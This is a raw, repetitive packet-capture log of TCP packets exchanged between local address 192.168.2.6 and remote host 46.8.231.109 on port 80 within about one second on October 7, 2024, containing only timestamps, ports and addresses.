Oct 7, 2024 18:00:22.432174921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432208061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432256937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432257891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432291031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432302952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432337999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432476997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432512045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432534933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432549953 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432576895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432621002 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432626963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432660103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432677031 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432701111 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432779074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432811975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432828903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432846069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432853937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432883024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.432892084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.432921886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.433090925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.433125019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.433140993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.433166027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.433511019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.433559895 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.433590889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.433625937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.433635950 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.433670044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.433691025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.433725119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.433736086 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.433758020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.433782101 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.433792114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.433798075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.433825970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.433835030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.433871984 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.434252977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.434304953 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.434304953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.434339046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.434350014 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.434381962 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.434421062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.434453011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.434468985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.434487104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.434497118 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.434521914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.434530973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.434582949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.434582949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.434712887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.434746027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.434792042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.435291052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.435358047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.435358047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.435403109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.435414076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.435446978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.435461998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.435481071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.435492992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.435514927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.435525894 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.435551882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.435556889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.435585976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.435590982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.435619116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.435666084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.436176062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.436224937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.436259985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.436278105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.436294079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.436306000 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.436327934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.436341047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.436359882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.436372042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.436393976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.436399937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.436429024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.436433077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.436461926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.436470985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.436507940 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.436981916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.437032938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.437041044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.437077045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.437086105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.437202930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477081060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477092981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477102995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477154970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477165937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477176905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477183104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477190971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477201939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477227926 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477257967 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477308989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477346897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477463007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477497101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477508068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477539062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477552891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477583885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477610111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477742910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477751970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477756977 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477766037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477777958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477786064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477823973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477823973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.477972984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.477983952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478007078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478018045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478020906 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478029013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478039026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478048086 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478075027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478137970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478199005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478231907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478244066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478275061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478306055 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478372097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478384018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478394985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478404999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478418112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478430986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478460073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478638887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478651047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478660107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478669882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478681087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478691101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478693008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478701115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478724003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478754044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.478934050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478944063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478949070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478952885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.478957891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.479027987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.512193918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.512207985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.512221098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.512269020 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.512309074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.512326002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.512340069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.512348890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.512360096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.512382984 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.512412071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.515248060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515261889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515275955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515326023 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.515352964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515358925 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.515364885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515377045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515404940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515419960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515431881 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.515431881 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.515459061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.515615940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515628099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515639067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515651941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515664101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515669107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.515675068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515690088 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.515719891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.515917063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515929937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515940905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515953064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515964031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515975952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.515980005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.515986919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516000032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516000986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516011953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516021013 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516041040 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516068935 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516362906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516376972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516390085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516402006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516413927 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516426086 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516458035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516458035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516587973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516601086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516612053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516623974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516642094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516650915 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516650915 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516688108 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516881943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516894102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516905069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516916990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516927958 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516932964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516942024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516954899 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516968012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.516969919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.516978025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517004013 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.517004013 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.517035961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.517335892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517349005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517359018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517370939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517383099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517395020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517405987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517421961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.517421961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.517455101 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.517632008 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517644882 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517657042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517669916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517680883 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517693996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517693996 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.517705917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.517713070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.517731905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.517760038 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561017990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561038017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561048985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561059952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561072111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561083078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561094046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561100960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561141968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561157942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561168909 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561199903 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561301947 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561315060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561326027 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561337948 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561347961 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561352015 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561358929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561371088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561383963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561383963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561399937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561403036 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561422110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561445951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561665058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561676979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561717033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561810017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561820984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561830044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561841011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561851025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561861038 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561866999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561881065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561889887 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.561893940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561906099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.561908007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562206984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562263966 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562274933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562275887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562287092 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562315941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562335014 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562381029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562402010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562412024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562417984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562436104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562453032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562479973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562506914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562519073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562550068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562566042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562616110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562633991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562644005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562654972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562664986 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:22.562665939 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:22.562675953 CEST	80	49718	46.8.231.109	192.168.2.6
